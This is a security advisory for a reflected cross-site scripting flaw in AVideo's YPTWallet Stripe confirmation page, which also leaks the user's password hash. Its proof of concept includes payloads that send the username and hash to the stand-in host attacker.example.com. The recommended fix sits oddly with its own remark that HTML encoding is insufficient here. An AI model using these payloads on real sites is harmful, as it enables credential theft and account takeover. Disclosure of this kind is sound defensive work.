GHSA-pm37-62g7-p768

## Summary The YPTWallet Stripe payment confirmation page directly echoes the `$_REQUEST['plugin']` parameter into a JavaScript block without any encoding or sanitization. The `plugin` parameter is not included in any of the framework's input filter lists defined in `security.php`, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user. The same script block also outputs the current user's username and password hash via `User::getUserName()` and `User::getUserPass()`, meaning a successful XSS exploitation can immediately exfiltrate these credentials. ## Details The Stripe confirmation page renders the `plugin` parameter directly into a `<script>` block: ```php // plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116 "plugin": "<?php echo @$_REQUEST['plugin']; ?>", ``` This appears inside a `$.ajax()` data object within a `<script>` tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed. The `plugin` parameter is not present in any of the sanitization or filtering arrays in `security.php`, so it arrives completely unmodified. Immediately adjacent to the injection point, the script also exposes user credentials: ```php // plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118 "user": "<?php echo User::getUserName() ?>", "pass": "<?php echo User::getUserPass(); ?>", ``` No Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted. ## Proof of Concept The XSS is reachable through the `addFunds.php` page which includes the vulnerable `confirmButton.php` template: ``` https://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/* ``` The injected value closes the JSON string and the `$.ajax()` call, then executes `alert(document.domain)`. The response contains the payload unencoded in the script block: ```javascript "plugin": ""}})});alert(document.domain);console.log({/*", ``` Credential exfiltration payload: ``` https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.*?"(.*?)"/)[1]),y:" ``` Simplified credential theft using the same-page credential leak: ```html <!-- Host this on attacker.example.com and send the link to a victim --> <html> <body> <script> // The confirmButton.php page outputs user/pass in the script block. // XSS lets us read it directly. var payload = encodeURIComponent( '",x:(function(){' + 'var s=document.querySelector("script").textContent;' + 'var u=s.match(/"user":"([^"]+)"/)[1];' + 'var p=s.match(/"pass":"([^"]+)"/)[1];' + 'new Image().src="https://attacker.example.com/log?u="+u+"&p="+p;' + '})(),y:"' ); window.location = "https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=" + payload; </script> </body> </html> ``` Reproduction steps: 1. Navigate to the basic XSS URL above (substitute your target instance). 2. Observe the JavaScript alert box confirming code execution. 3. View the page source to confirm that `User::getUserName()` and `User::getUserPass()` are present in the same script block. 4. Use the credential exfiltration payload to demonstrate data theft. ## Impact An attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page: - **Immediate credential theft**: The page already renders the victim's username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests. - **Session hijacking**: Steal session cookies and impersonate the victim. - **Payment manipulation**: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions. - **Account takeover**: Combine the stolen password hash with the username for offline cracking or direct replay. The lack of CSP headers means there are no browser-side mitigations against the injected scripts. - **CWE**: CWE-79 (Cross-Site Scripting - Reflected) - **Severity**: High (CVSS 8.1) ## Recommended Fix Apply `htmlspecialchars()` to the `plugin` parameter at `plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116`: ```php // plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116 // Before: "plugin": "<?php echo @$_REQUEST['plugin']; ?>", // After: "plugin": "<?php echo htmlspecialchars(@$_REQUEST['plugin'], ENT_QUOTES, 'UTF-8'); ?>", ``` --- *Found by [aisafe.io](https://aisafe.io)*